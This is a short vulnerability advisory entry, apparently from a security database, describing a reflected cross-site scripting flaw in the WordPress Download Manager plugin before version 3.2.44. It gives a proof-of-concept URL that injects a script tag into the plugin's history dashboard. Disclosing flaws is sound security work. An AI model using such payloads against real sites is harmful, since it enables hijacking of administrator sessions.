Lucene search

K
wpexploitZhongFu Su(JrXnm) of WuHan University WPEX-ID:66789B32-049E-4440-8B19-658649851010
HistoryJun 27, 2022 - 12:00 a.m.

Download Manager < 3.2.44 - Reflected Cross-Site Scripting

2022-06-2700:00:00
ZhongFu Su(JrXnm) of WuHan University
100
download manager
cross-site scripting
reflected

EPSS

0.001

Percentile

40.2%

The plugin does not escape a generated URL before outputting it back in an attribute of the history dashboard, leading to Reflected Cross-Site Scripting

https://example.com/wp-admin/edit.php?post_type=wpdmpro&page=wpdm-stats&type=history&user_ids[]=1&"><script>alert(/XSS/)</script>

EPSS

0.001

Percentile

40.2%

Related for WPEX-ID:66789B32-049E-4440-8B19-658649851010